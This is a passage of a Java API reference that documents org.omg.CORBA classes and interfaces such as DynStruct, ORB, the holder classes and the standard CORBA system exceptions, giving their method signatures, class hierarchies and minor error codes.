A DynAny object associated with the Java mapping of an IDL struct type. In addition to the DynAny methods that allow you to traverse the components of the struct, the DynStruct interface provides methods that allow you to access an array of all of the members of the struct and to access their names within the struct.

public abstract interface DynStruct extends org.omg.CORBA.Object, DynAny {
// | Public Instance Methods
 | public abstract TCKind current_member_kind ();
 | public abstract String current_member_name ();
 | public abstract NameValuePair[ ] get_members ();
 | public abstract void set_members (NameValuePair[ ] value) throws org.omg.CORBA.DynAnyPackage.InvalidSeq;
}

Hierarchy: (DynStruct(org.omg.CORBA.Object,DynAny(org.omg.CORBA.Object)))

Returned By: ORB.create_dyn_struct()

DynUnion Java 1.2
org.omg.CORBA

A DynAny object associated with the Java mapping of an IDL union type. Methods on the interface allow you to access the discriminator value of the union and the current member of the union, as a DynAny object.

public abstract interface DynUnion extends org.omg.CORBA.Object, DynAny {
// | Public Instance Methods
 | public abstract DynAny discriminator ();
 | public abstract TCKind discriminator_kind ();
 | public abstract DynAny member ();
 | public abstract TCKind member_kind ();
 | public abstract String member_name ();
 | public abstract void member_name (String arg);
 | public abstract boolean set_as_default ();
 | public abstract void set_as_default (boolean arg);
}

Hierarchy: (DynUnion(org.omg.CORBA.Object,DynAny(org.omg.CORBA.Object)))

Returned By: ORB.create_dyn_union()

DynValue Java 1.2
org.omg.CORBA

A DynAny object associated with a value being passed using the proposed Objects-by-Value extension to CORBA. This extension to CORBA allows arguments to be passed by value, rather than strictly be reference, as they are in the core CORBA standard. Sun's implementation of the Java IDL binding does not yet implement the Objects-by-Value extension, but the relevant interfaces are included in the API.

public abstract interface DynValue extends org.omg.CORBA.Object, DynAny {
// | Public Instance Methods
 | public abstract TCKind current_member_kind ();
 | public abstract String current_member_name ();
 | public abstract NameValuePair[ ] get_members ();
 | public abstract void set_members (NameValuePair[ ] value) throws org.omg.CORBA.DynAnyPackage.InvalidSeq;
}

Hierarchy: (DynValue(org.omg.CORBA.Object,DynAny(org.omg.CORBA.Object)))

Environment Java 1.2
org.omg.CORBA

After a Dynamic Invocation Interface Request has been invoked, any exception it may have thrown can be accessed by retrieving the Environment from the Request using its env() method. The exception that was thrown can then be retrieved from the Environment using its exception() method.

public abstract class Environment {
// | Public Constructors
 | public Environment ();
// | Public Instance Methods
 | public abstract void clear ();
 | public abstract Exception exception ();
 | public abstract void exception (Exception except);
}

Returned By: ORB.create_environment(), Request.env()

ExceptionList Java 1.2
org.omg.CORBA

This class represents a list of exceptions that can be thrown by a remote method, in the form of the TypeCode objects for the corresponding Exception classes. An ExceptionList can be created using the ORB.create_exception_list() method; the TypeCode for each required exception can be created using the ORB.create_exception_tc() method. Once completed, the ExceptionList can create a Dynamic Invocation Interface Request object.

public abstract class ExceptionList {
// | Public Constructors
 | public ExceptionList ();
// | Public Instance Methods
 | public abstract void add (TypeCode exc);
 | public abstract int count ();
 | public abstract TypeCode item (int index) throws org.omg.CORBA.Bounds;
 | public abstract void remove (int index) throws org.omg.CORBA.Bounds;
}

Passed To: org.omg.CORBA.Object._create_request(), org.omg.CORBA.portable.Delegate.create_request(), org.omg.CORBA.portable.ObjectImpl._create_request()

Returned By: ORB.create_exception_list(), Request.exceptions()

FixedHolder Java 1.2
org.omg.CORBA

The holder class for IDL fixed values, which are tentatively mapped to the java.math.BigDecimal class. A FixedHolder wraps a BigDecimal value.

public final class FixedHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public FixedHolder ();
 | public FixedHolder (java.math.BigDecimal initial);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream input);
 | public TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream output);
// | Public Instance Fields
 | public java.math.BigDecimal value ;
}

Hierarchy: Object-->FixedHolder(org.omg.CORBA.portable.Streamable)

FloatHolder Java 1.2
org.omg.CORBA

The holder class for out and inout remote method arguments that are mapped to Java float values.

public final class FloatHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public FloatHolder ();
 | public FloatHolder (float initial);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream input);
 | public TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream output);
// | Public Instance Fields
 | public float value ;
}

Hierarchy: Object-->FloatHolder(org.omg.CORBA.portable.Streamable)

FREE_MEM | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when an attempt to free memory fails.

public final class FREE_MEM extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public FREE_MEM ();
 | public FREE_MEM (String s);
 | public FREE_MEM (int minor, CompletionStatus completed);
 | public FREE_MEM (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->FREE_MEM

IDLType | Java 1.2
org.omg.CORBA | serializable

IDLType is an extension of IRObject that represents IDL basic types in the Interface Repository. It allows you to query the TypeCode of the type it represents. See the IRObject interface for more details on the Interface Repository.

public abstract interface IDLType extends org.omg.CORBA.Object, org.omg.CORBA.portable.IDLEntity, IRObject {
// | Public Instance Methods
 | public abstract TypeCode type ();
}

Hierarchy: (IDLType(org.omg.CORBA.Object,org.omg.CORBA.portable.IDLEntity(Serializable),IRObject(org.omg.CORBA.Object,org.omg.CORBA.portable.IDLEntity(Serializable))))

Passed To: StructMember.StructMember(), UnionMember.UnionMember(), ValueMember.ValueMember()

Type Of: StructMember.type_def, UnionMember.type_def, ValueMember.type_def

IMP_LIMIT | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when some implementation limit has been exceeded.

public final class IMP_LIMIT extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public IMP_LIMIT ();
 | public IMP_LIMIT (String s);
 | public IMP_LIMIT (int minor, CompletionStatus completed);
 | public IMP_LIMIT (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->IMP_LIMIT

INITIALIZE | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when an error occurs while initializing an ORB.

public final class INITIALIZE extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public INITIALIZE ();
 | public INITIALIZE (String s);
 | public INITIALIZE (int minor, CompletionStatus completed);
 | public INITIALIZE (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->INITIALIZE

INTERNAL | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when an ORB encounters an internal error. Sun's Java IDL defines the following minor error code values for this exception, stored in the minor data member inherited from SystemException:

Minor Code | Meaning
3 | An IIOP reply message contained a bad status.
6 | The repository ID of a user exception had an incorrect length during an unmarshalling operation.
7 | The ORB failed to get the local hostname through the InetAddress.getLocalHost().getHostName() method.
8 | The ORB was unable to create a listener port on its designated port because the port was in use, the creation of the daemon thread failed, or a security violation occurred.
9 | An IIOP locate message contained a bad status.
10 | An error was encountered while creating a stringified object reference.
11 | An IIOP message contained a bad GIOP v1.0 message type.
14 | An error occurred while unmarshalling a user exception.
18 | The ORB failed during internal initialization.
public final class INTERNAL extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public INTERNAL ();
 | public INTERNAL (String s);
 | public INTERNAL (int minor, CompletionStatus completed);
 | public INTERNAL (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->INTERNAL

INTF_REPOS | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when an error occurs while attempting to use the interface repository.

public final class INTF_REPOS extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public INTF_REPOS ();
 | public INTF_REPOS (String s);
 | public INTF_REPOS (int minor, CompletionStatus completed);
 | public INTF_REPOS (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->INTF_REPOS

IntHolder Java 1.2
org.omg.CORBA

The holder class for out and inout remote method arguments that are mapped to Java int values.

public final class IntHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public IntHolder ();
 | public IntHolder (int initial);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream input);
 | public TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream output);
// | Public Instance Fields
 | public int value ;
}

Hierarchy: Object-->IntHolder(org.omg.CORBA.portable.Streamable)

INV_FLAG | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when an invalid flag is specified in a method call.

public final class INV_FLAG extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public INV_FLAG ();
 | public INV_FLAG (String s);
 | public INV_FLAG (int minor, CompletionStatus completed);
 | public INV_FLAG (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->INV_FLAG

INV_IDENT | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when an invalid identifier is specified.

public final class INV_IDENT extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public INV_IDENT ();
 | public INV_IDENT (String s);
 | public INV_IDENT (int minor, CompletionStatus completed);
 | public INV_IDENT (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->INV_IDENT

INV_OBJREF | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when an invalid object reference is used. Sun's Java IDL defines the following minor error code values for this exception, stored in the minor data member inherited from SystemException:

Minor Code | Meaning
1 | A stringified object reference had no profile.
public final class INV_OBJREF extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public INV_OBJREF ();
 | public INV_OBJREF (String s);
 | public INV_OBJREF (int minor, CompletionStatus completed);
 | public INV_OBJREF (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->INV_OBJREF

INV_POLICY | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when an incompatibility between Policy objects is encountered during a remote method call.

public class INV_POLICY extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public INV_POLICY ();
 | public INV_POLICY (String s);
 | public INV_POLICY (int minor, CompletionStatus completed);
 | public INV_POLICY (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->INV_POLICY

INVALID_TRANSACTION | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when a transaction error occurs during a remote method call.

public final class INVALID_TRANSACTION extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public INVALID_TRANSACTION ();
 | public INVALID_TRANSACTION (String s);
 | public INVALID_TRANSACTION (int minor, CompletionStatus completed);
 | public INVALID_TRANSACTION (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->INVALID_TRANSACTION

IRObject | Java 1.2
org.omg.CORBA | serializable

All the informational interfaces used and exported by the Interface Repository derive from the IRObject interface. The Interface Repository is a component of the ORB that stores definitions of object interfaces. These interface definitions are used by the ORB at runtime to check the correctness of method requests and to support Dynamic Invocation Interface requests. They can also be used within development tools, to provide information about remote interfaces for browsing and linking them. The Interface Repository is analogous to a table schema in a relational database, in that it describes the type of objects an ORB is supporting. The Interface Repository uses a set of IDL interfaces (e.g., InterfaceDef, AttributeDef) to represent the modules, interfaces, attributes, methods, etc., it manages. All of these interfaces derive from the IRObject interface.

The IRObject has a def_kind() method that indicates the type of definition the object represents (module, attribute, etc.).

public abstract interface IRObject extends org.omg.CORBA.Object, org.omg.CORBA.portable.IDLEntity {
// | Public Instance Methods
 | public abstract DefinitionKind def_kind ();
 | public abstract void destroy ();
}

Hierarchy: (IRObject(org.omg.CORBA.Object,org.omg.CORBA.portable.IDLEntity(Serializable)))

Implementations: IDLType

LongHolder Java 1.2
org.omg.CORBA

The holder class for out and inout remote method arguments that are mapped to Java long values.

public final class LongHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public LongHolder ();
 | public LongHolder (long initial);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream input);
 | public TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream output);
// | Public Instance Fields
 | public long value ;
}

Hierarchy: Object-->LongHolder(org.omg.CORBA.portable.Streamable)

MARSHAL | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when the ORB fails to marshal or unmarshal method arguments, return values or exceptions. Sun's Java IDL defines the following minor error code values for this exception, stored in the minor data member inherited from SystemException:

Minor Code | Meaning
4 | An error occurred while unmarshalling an object reference.
5 | An attempt was made to marshal or unmarshal an IDL type that is not supported in this implementation, such as wchar or wstring.
6 | While marshalling or unmarshalling, a character not within the ISO Latin-1 set was encountered.
public final class MARSHAL extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public MARSHAL ();
 | public MARSHAL (String s);
 | public MARSHAL (int minor, CompletionStatus completed);
 | public MARSHAL (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->MARSHAL

Thrown By: Any.{insert_string(), insert_Value(), insert_wstring(), read_value()}

NamedValue Java 1.2
org.omg.CORBA

This class represents a remote method argument or return value. It consists of an argument name (as a String), its value (as an Any object), and an argument mode, which can one of ARG_IN.value, ARG_OUT.value, ARG_INOUT.value, or zero. If the argument mode is zero, the NamedValue represents a Context property value. NamedValue objects are used in Dynamic Invocation Interface and Dynamic Skeleton Interface operations (e.g., to build the argument list for a client-side method Request object).

public abstract class NamedValue {
// | Public Constructors
 | public NamedValue ();
// | Public Instance Methods
 | public abstract int flags ();
 | public abstract String name ();
 | public abstract Any value ();
}

Passed To: org.omg.CORBA.Object._create_request(), org.omg.CORBA.portable.Delegate.create_request(), org.omg.CORBA.portable.ObjectImpl._create_request()

Returned By: NVList.{add(), add_item(), add_value(), item()}, ORB.create_named_value(), Request.result()

NameValuePair | Java 1.2
org.omg.CORBA | serializable

A DynStruct object uses NameValuePair objects to represent its data members. It consists of a String name and a value represented as an Any object.

public final class NameValuePair implements org.omg.CORBA.portable.IDLEntity {
// | Public Constructors
 | public NameValuePair ();
 | public NameValuePair (String __id, Any __value);
// | Public Instance Fields
 | public String id ;
 | public Any value ;
}

Hierarchy: Object-->NameValuePair(org.omg.CORBA.portable.IDLEntity(Serializable))

Passed To: DynStruct.set_members(), DynValue.set_members()

Returned By: DynStruct.get_members(), DynValue.get_members()

NO_IMPLEMENT | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when a call is made on a method that is not implemented. Sun's Java IDL defines the following minor error code values for this exception, stored in the minor data member inherited from SystemException:

Minor Code | Meaning
1 | An attempt to use the Dynamic Skeleton Interface was made. The DSI is not implemented in Sun's Java IDL implementation.
public final class NO_IMPLEMENT extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public NO_IMPLEMENT ();
 | public NO_IMPLEMENT (String s);
 | public NO_IMPLEMENT (int minor, CompletionStatus completed);
 | public NO_IMPLEMENT (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->NO_IMPLEMENT

NO_MEMORY | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when insufficient dynamic memory is available to carry out a request.

public final class NO_MEMORY extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public NO_MEMORY ();
 | public NO_MEMORY (String s);
 | public NO_MEMORY (int minor, CompletionStatus completed);
 | public NO_MEMORY (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->NO_MEMORY

NO_PERMISSION | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when a client does not have sufficient permission to make a request.

public final class NO_PERMISSION extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public NO_PERMISSION ();
 | public NO_PERMISSION (String s);
 | public NO_PERMISSION (int minor, CompletionStatus completed);
 | public NO_PERMISSION (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->NO_PERMISSION

NO_RESOURCES | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when resources cannot be allocated to execute a request, on either the client or the server.

public final class NO_RESOURCES extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public NO_RESOURCES ();
 | public NO_RESOURCES (String s);
 | public NO_RESOURCES (int minor, CompletionStatus completed);
 | public NO_RESOURCES (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->NO_RESOURCES

NO_RESPONSE | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when a server response to an asynchronous remote method call is not yet available.

public final class NO_RESPONSE extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public NO_RESPONSE ();
 | public NO_RESPONSE (String s);
 | public NO_RESPONSE (int minor, CompletionStatus completed);
 | public NO_RESPONSE (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->NO_RESPONSE

NVList Java 1.2
org.omg.CORBA

A list of NamedValue objects. An NVList can be created using either the ORB.create_list() method or the ORB.create_operation_list() method. The latter method initializes the list with NamedValue objects that describe the arguments to the method definition you pass into the create_operation_list() method.

public abstract class NVList {
// | Public Constructors
 | public NVList ();
// | Public Instance Methods
 | public abstract NamedValue add (int flags);
 | public abstract NamedValue add_item (String item_name, int flags);
 | public abstract NamedValue add_value (String item_name, Any val, int flags);
 | public abstract int count ();
 | public abstract NamedValue item (int index) throws org.omg.CORBA.Bounds;
 | public abstract void remove (int index) throws org.omg.CORBA.Bounds;
}

Passed To: org.omg.CORBA.Context.set_values(), org.omg.CORBA.Object._create_request(), ServerRequest.{arguments(), params()}, org.omg.CORBA.portable.Delegate.create_request(), org.omg.CORBA.portable.ObjectImpl._create_request()

Returned By: org.omg.CORBA.Context.get_values(), ORB.{create_list(), create_operation_list()}, Request.arguments()

OBJ_ADAPTER | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when an error is encountered by an object adapter in the ORB. Sun's Java IDL defines the following minor error code values for this exception, stored in the minor data member inherited from SystemException:

Minor Code | Meaning
1 | On the server, no adapter matching the one referenced in the object reference was found.
2 | Same as above, but error occurred during a locate request.
4 | An error occurred while attempting to connect a servant to the ORB.
public final class OBJ_ADAPTER extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public OBJ_ADAPTER ();
 | public OBJ_ADAPTER (String s);
 | public OBJ_ADAPTER (int minor, CompletionStatus completed);
 | public OBJ_ADAPTER (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->OBJ_ADAPTER

Object Java 1.2
org.omg.CORBA

This is the base interface for all CORBA objects. An Object can be either a reference (stub) to a remote CORBA object or a local object implementation. The methods declared in the Object interface allow you to create Dynamic Invocation Interface requests on the object, get its Interface Repository definition, and check the equivalence of two objects, among other things. The org.omg.CORBA.portable.ObjectImpl class provides a default, concrete implementation of the Object interface.

public abstract interface Object {
// | Public Instance Methods
 | public abstract Request _create_request (org.omg.CORBA.Context ctx, String operation, NVList arg_list, NamedValue result);
 | public abstract Request _create_request (org.omg.CORBA.Context ctx, String operation, NVList arg_list, NamedValue result, ExceptionList exclist, ContextList ctxlist);
 | public abstract org.omg.CORBA.Object _duplicate ();
 | public abstract DomainManager[ ] _get_domain_managers ();
 | public abstract org.omg.CORBA.Object _get_interface_def ();
 | public abstract org.omg.CORBA.Policy _get_policy (int policy_type);
 | public abstract int _hash (int maximum);
 | public abstract boolean _is_a (String repositoryIdentifier);
 | public abstract boolean _is_equivalent (org.omg.CORBA.Object other);
 | public abstract boolean _non_existent ();
 | public abstract void _release ();
 | public abstract Request _request (String operation);
 | public abstract org.omg.CORBA.Object _set_policy_override (org.omg.CORBA.Policy[ ] policies, SetOverrideType set_add);
}

Implementations: Current, DomainManager, DynAny, DynArray, DynEnum, DynFixed, DynSequence, DynStruct, DynUnion, DynValue, IDLType, IRObject, org.omg.CORBA.Policy, org.omg.CORBA.portable.ObjectImpl, org.omg.CosNaming.BindingIterator, org.omg.CosNaming.NamingContext

Passed To: Too many methods to list.

Returned By: Any.extract_Object(), DynAny.get_reference(), org.omg.CORBA.Object.{_duplicate(), _get_interface_def(), _set_policy_override()}, ORB.{resolve_initial_references(), string_to_object()}, Request.target(), org.omg.CORBA.portable.Delegate.{duplicate(), get_interface_def(), set_policy_override()}, org.omg.CORBA.portable.InputStream.read_Object(), org.omg.CORBA.portable.ObjectImpl.{_duplicate(), _get_interface_def(), _set_policy_override()}, org.omg.CosNaming._NamingContextImplBase.resolve(), org.omg.CosNaming._NamingContextStub.resolve(), org.omg.CosNaming.NamingContext.resolve()

Type Of: ObjectHolder.value

OBJECT_NOT_EXIST | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when a request is made of a server object that no longer exists. Sun's Java IDL defines the following minor error code values for this exception, stored in the minor data member inherited from SystemException:

Minor Code | Meaning
1 | The target of a locate request sent back a response indicating it did not know the object.
2 | A method request was received by a server whose ID does not match the server ID referenced in the object reference.
4 | The skeleton referenced in the object reference was not found on the server.
public final class OBJECT_NOT_EXIST extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public OBJECT_NOT_EXIST ();
 | public OBJECT_NOT_EXIST (String s);
 | public OBJECT_NOT_EXIST (int minor, CompletionStatus completed);
 | public OBJECT_NOT_EXIST (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->OBJECT_NOT_EXIST

ObjectHolder Java 1.2
org.omg.CORBA

The holder class for out and inout remote method arguments that are mapped to Java org.omg.CORBA.Object values.

public final class ObjectHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public ObjectHolder ();
 | public ObjectHolder (org.omg.CORBA.Object initial);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream input);
 | public TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream output);
// | Public Instance Fields
 | public org.omg.CORBA.Object value ;
}

Hierarchy: Object-->ObjectHolder(org.omg.CORBA.portable.Streamable)

ORB Java 1.2
org.omg.CORBA

The ORB class is at the heart of the CORBA API. The ORB class provides CORBA clients and server objects access to the basic CORBA functions needed to engage in remote object operations. The static init() methods let you initialize a reference to an ORB. ORB provides access to initial objects and service through its resolve_initial_references() method. It also provides constructor methods that allow you to create key objects needed to perform remote method requests, like Any and NamedValue objects. The ORB also allows you to convert a CORBA object reference to a portable stringified form and back again, using its object_to_string() and string_to_object() methods.

public abstract class ORB {
// | Public Constructors
 | public ORB ();
// | Public Class Methods
 | public static ORB init ();
 | public static ORB init (String[ ] args, java.util.Properties props);
 | public static ORB init (java.applet.Applet app, java.util.Properties props);
// | Public Instance Methods
 | public void connect (org.omg.CORBA.Object obj);
 | public TypeCode create_abstract_interface_tc (String id, String name);
 | public abstract TypeCode create_alias_tc (String id, String name, TypeCode original_type);
 | public abstract Any create_any ();
 | public abstract TypeCode create_array_tc (int length, TypeCode element_type);
 | public DynAny create_basic_dyn_any (TypeCode type) throws org.omg.CORBA.ORBPackage.InconsistentTypeCode;
 | public abstract ContextList create_context_list ();
 | public DynAny create_dyn_any (Any value);
 | public DynArray create_dyn_array (TypeCode type) throws org.omg.CORBA.ORBPackage.InconsistentTypeCode;
 | public DynEnum create_dyn_enum (TypeCode type) throws org.omg.CORBA.ORBPackage.InconsistentTypeCode;
 | public DynSequence create_dyn_sequence (TypeCode type) throws org.omg.CORBA.ORBPackage.InconsistentTypeCode;
 | public DynStruct create_dyn_struct (TypeCode type) throws org.omg.CORBA.ORBPackage.InconsistentTypeCode;
 | public DynUnion create_dyn_union (TypeCode type) throws org.omg.CORBA.ORBPackage.InconsistentTypeCode;
 | public abstract TypeCode create_enum_tc (String id, String name, String[ ] members);
 | public abstract Environment create_environment ();
 | public abstract ExceptionList create_exception_list ();
 | public abstract TypeCode create_exception_tc (String id, String name, StructMember[ ] members);
 | public TypeCode create_fixed_tc (short digits, short scale);
 | public abstract TypeCode create_interface_tc (String id, String name);
 | public abstract NVList create_list (int count);
 | public abstract NamedValue create_named_value (String s, Any any, int flags);
 | public TypeCode create_native_tc (String id, String name);
 | public NVList create_operation_list (org.omg.CORBA.Object oper);
 | public abstract org.omg.CORBA.portable.OutputStream create_output_stream ();
 | public org.omg.CORBA.Policy create_policy (int type, Any val) throws PolicyError;
 | public TypeCode create_recursive_tc (String id);
 | public abstract TypeCode create_sequence_tc (int bound, TypeCode element_type);
 | public abstract TypeCode create_string_tc (int bound);
 | public abstract TypeCode create_struct_tc (String id, String name, StructMember[ ] members);
 | public abstract TypeCode create_union_tc (String id, String name, TypeCode discriminator_type, UnionMember[ ] members);
 | public TypeCode create_value_box_tc (String id, String name, TypeCode boxed_type);
 | public TypeCode create_value_tc (String id, String name, short type_modifier, TypeCode concrete_base, ValueMember[ ] members);
 | public abstract TypeCode create_wstring_tc (int bound);
 | public void disconnect (org.omg.CORBA.Object obj);
 | public abstract org.omg.CORBA.Context get_default_context ();
 | public abstract Request get_next_response () throws WrongTransaction;
 | public abstract TypeCode get_primitive_tc (TCKind tcKind);
 | public boolean get_service_information (short service_type, ServiceInformationHolder service_info);
 | public abstract String[ ] list_initial_services ();
 | public abstract String object_to_string (org.omg.CORBA.Object obj);
 | public void perform_work ();
 | public abstract boolean poll_next_response ();
 | public abstract org.omg.CORBA.Object resolve_initial_references (String object_name) throws org.omg.CORBA.ORBPackage.InvalidName;
 | public void run ();
 | public abstract void send_multiple_requests_deferred (Request[ ] req);
 | public abstract void send_multiple_requests_oneway (Request[ ] req);
 | public void shutdown (boolean wait_for_completion);
 | public abstract org.omg.CORBA.Object string_to_object (String str);
 | public boolean work_pending ();
// | Protected Instance Methods
 | protected abstract void set_parameters (String[ ] args, java.util.Properties props);
 | protected abstract void set_parameters (java.applet.Applet app, java.util.Properties props);
// | Deprecated Public Methods
# | public abstract TypeCode create_recursive_sequence_tc (int bound, int offset);
# | public Current get_current ();
}

Returned By: ORB.init(), org.omg.CORBA.portable.Delegate.orb(), org.omg.CORBA.portable.InputStream.orb(), org.omg.CORBA.portable.ObjectImpl._orb(), org.omg.CORBA.portable.OutputStream.orb()

PERSIST_STORE | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when a server encounters an error with its persistent storage.

public final class PERSIST_STORE extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public PERSIST_STORE ();
 | public PERSIST_STORE (String s);
 | public PERSIST_STORE (int minor, CompletionStatus completed);
 | public PERSIST_STORE (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->PERSIST_STORE

Policy Java 1.2
org.omg.CORBA

This is the base interface for objects that represent usage policies for ORBs and other CORBA services. Policies for certain objects or domains of objects can be obtained from a DomainManager, which in turn can be obtained from the Object in question using its _get_domain_managers() method. The policy_type() method on Policy provides access to an integer type indicator, where the allowable values are implementation-specific.

public abstract interface Policy extends org.omg.CORBA.Object {
// | Public Instance Methods
 | public abstract org.omg.CORBA.Policy copy ();
 | public abstract void destroy ();
 | public abstract int policy_type ();
}

Hierarchy: (org.omg.CORBA.Policy(Object))

Passed To: org.omg.CORBA.Object._set_policy_override(), org.omg.CORBA.portable.Delegate.set_policy_override(), org.omg.CORBA.portable.ObjectImpl._set_policy_override()

Returned By: DomainManager.get_domain_policy(), org.omg.CORBA.Object._get_policy(), ORB.create_policy(), org.omg.CORBA.Policy.copy(), org.omg.CORBA.portable.Delegate.get_policy(), org.omg.CORBA.portable.ObjectImpl._get_policy()

PolicyError | Java 1.2
org.omg.CORBA | serializable checked

An exception thrown when an error occurs during creation of a Policy object.

public final class PolicyError extends UserException {
// | Public Constructors
 | public PolicyError ();
 | public PolicyError (short __reason);
 | public PolicyError (String reason_string, short __reason);
// | Public Instance Fields
 | public short reason ;
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->UserException(org.omg.CORBA.portable.IDLEntity(Serializable))-->PolicyError

Thrown By: ORB.create_policy()

Principal Java 1.2; Deprecated in Java 1.2
org.omg.CORBA

This deprecated class was used in previous versions of the CORBA standard to hold the identity of a client, in the form of an array of bytes that represents the encoded name of the client. This functionality has now been assumed by the Security Service, but the class is still available in the Java IDL API to provide temporary backward compatibility with previous CORBA applications.

public abstract class Principal {
// | Public Constructors
 | public Principal ();
// | Deprecated Public Methods
# | public abstract byte[ ] name ();
# | public abstract void name (byte[ ] value);
}

Passed To: Any.insert_Principal(), PrincipalHolder.PrincipalHolder(), org.omg.CORBA.portable.OutputStream.write_Principal()

Returned By: Any.extract_Principal(), org.omg.CORBA.portable.InputStream.read_Principal()

Type Of: PrincipalHolder.value

PrincipalHolder Java 1.2; Deprecated in Java 1.2
org.omg.CORBA

This deprecated class is the holder class for out and inout remote method arguments that are mapped to Java Principal objects.

public final class PrincipalHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public PrincipalHolder ();
 | public PrincipalHolder (org.omg.CORBA.Principal initial);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream input);
